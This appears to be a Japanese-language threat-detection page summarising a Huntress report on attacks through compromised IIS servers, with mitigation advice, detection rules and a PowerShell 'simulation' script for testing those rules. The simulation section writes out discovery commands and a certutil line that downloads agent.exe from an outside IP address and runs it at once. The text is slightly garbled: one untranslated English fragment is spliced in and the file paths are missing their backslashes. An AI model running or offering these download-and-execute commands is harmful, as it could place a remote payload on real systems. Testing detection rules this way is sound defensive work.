Trial, Error, and Typos: Why Some Malware Attacks Aren’t as ‘Sophisticated’ as You Think
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
この記事は、脅威アクターが侵害されたIISウェブサーバーを利用して被害者のエンドポイントにGolangベースのトロイの木馬(agent.exe)をダウンロードし実行する3つの別々の事件を説明しています。攻撃者は繰り返し実行を試み、certutilを使用してペイロードを取得し、その後、Windowsサービスを通じて永続性を確立しようとする前に、Windows Defender除外を追加しました。EDRとSysmonのログを通じて、コマンドライン、プロセスツリー、ネットワーク活動を記録し、検出に成功しました。この攻撃は、敵対者が完璧なプレイブックよりも防御の障壁に順応する方法を示しています。
調査
Huntressの分析者は、Windowsイベントログ、Sysmonイベント、IISウェブサーバーログを調べて攻撃のチェーンを再構築しました。彼らはw3wp.exeによる初期ウェブシェルの実行、形式の不正なコマンド、繰り返し行われたペイロードの配信試行、起動しなかったWindowsUpdateというサービスの作成を観察しました。ファイルパス、コマンドライン、ネットワーク接続などの複数の指標が3つのインシデント間で収集および相関されました。
緩和策
主な緩和策には、IISサーバーの強化、ウェブシェルの実行制限、厳格なアプリケーション許可リストの施行、certutilやPowerShellなどのLOLBinsの異常使用の監視、Windows Defenderの除外が恣意的に作成されないことの確保が含まれます。侵害されたホストの迅速な隔離およびGotoHTTPのようなドロップされたツールの削除も推奨されます。
対応
検出すると、レスポンダーは影響を受けたエンドポイントを隔離し、完全なプロセスツリーとネットワークログを収集し、悪意のあるバイナリを削除し、無許可のWindows Defender除外を元に戻し、サービス作成の失敗を確認する必要があります。侵害されたページについてウェブサーバーを徹底的に確認し、すべての侵害された資格情報をリセットしてください。
攻撃フロー
検出
ファイルを隠すための特性実行(cmdline経由)
表示
名前にのみ数字を含む疑わしい実行ファイル(cmdline経由)
表示
Windows Defenderの設定変更の不審な変更(powershell経由)
表示
データエンコードと証明書操作のためのCertutilの使用(cmdline経由)
表示
公共ユーザープロファイル内の疑わしいファイル(file_event経由)
表示
公共ユーザープロファイルからの疑わしい実行(process_creation経由)
表示
トライアル、エラー、タイプミス:一部のマルウェア攻撃が「洗練された」ものではない理由を検出するためのIOCs(SourceIP)
表示
トライアル、エラー、タイプミス:一部のマルウェア攻撃が「洗練された」ものではないと考えるIOCs(HashSha256)
表示
トライアル、エラー、タイプミス:一部のマルウェア攻撃が「洗練された」ものではない理由を検出するためのIOCs(DestinationIP)
表示
ウェブサーバー上の悪意のあるPOSTリクエストの検出 [Webserver]
表示
ウェブサーバープロセスからのコマンドライン実行の検出 [Windows プロセス作成]
表示
シミュレーション実行
前提条件:テレメトリ&ベースラインプリフライトチェックが合格していること。
根拠:このセクションは、検出ルールをトリガーするよう設計された敵対者の技術(TTP)の正確な実行を詳細に説明します。コマンドとナラティブは、識別されたTTPに直接反映され、検出ロジックによって期待されるテレメトリを正確に生成することを目的としています。
-
攻撃のストーリーとコマンド:
既に侵害されたIISサーバーでコード実行権限を得た攻撃者は、w3wp.exeプロセス(IISワーカー)を利用して、署名済みバイナリプロキシの一連を実行します。最初に、システムとネットワークの状態(whoami.exe,netstat -an,ipconfig /all)を列挙します。その後、certutil.exeを使用して、リモートC2サーバーからの悪意のあるペイロード(agent.exe)をダウンロードし、公共ユーザーディレクトリで直ちに実行します。すべてのコマンドは、cmd.exe /cのコンテキストで起動され、プロセス作成イベントがルールの条件に一致するようにします。w3wp.exe, ensuring the process creation event matches the rule’s conditions.# 1. システム/ユーザー情報の列挙 Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c whoami.exe' -NoNewWindow Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c netstat -an' -NoNewWindow Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c ipconfig /all' -NoNewWindow # 2. certutilを使用して悪意のあるペイロードをダウンロードして実行 $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe' Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList $maliciousCmd -NoNewWindow -
回帰テストスクリプト: 以下のスクリプトは、Sigmaルールを発火させるべきテレメトリを正確に再現する攻撃チェーン全体を自動化します。
<# .SYNOPSIS "見つかったWebサーバープロセスからのコマンドライン実行" Sigmaルールをトリガーする敵対者活動をシミュレートします。 .DESCRIPTION IISワーカープロセス(w3wp.exe)から一連の探索およびダウンロード&実行コマンドを実行します。 プロセス作成監査(イベントID 4688)が有効なWindowsホスト上で実行。 #> # w3wp.exe経由でコマンドを呼び出す関数 function Invoke-W3wpCommand { param ( [Parameter(Mandatory=$true)] [string]$CmdLine ) Write-Host "Invoking via w3wp.exe: $CmdLine" Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList "/c $CmdLine" -WindowStyle Hidden -PassThru | Out-Null } # 1. 探索コマンド(MITRE T1033, T1016, T1069.001) $discoveryCommands = @( "whoami.exe", "netstat -an", "net user admin$", "ipconfig /all", "net localgroup administrators" ) foreach ($cmd in $discoveryCommands) { Invoke-W3wpCommand -CmdLine $cmd Start-Sleep -Seconds 2 } # 2. 悪意のあるダウンロード&実行(MITRE T1218.004) $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe' Invoke-W3wpCommand -CmdLine $maliciousCmd -
クリーンアップコマンド: ダウンロードされたペイロードを削除し、不要なプロセスを終了します。
# 悪意のあるエージェントバイナリを削除 Remove-Item -Path "C:UsersPublicagent.exe" -Force -ErrorAction SilentlyContinue # エージェントがまだ実行中の場合はオプションで停止 Get-Process -Name "agent" -ErrorAction SilentlyContinue | Stop-Process -Force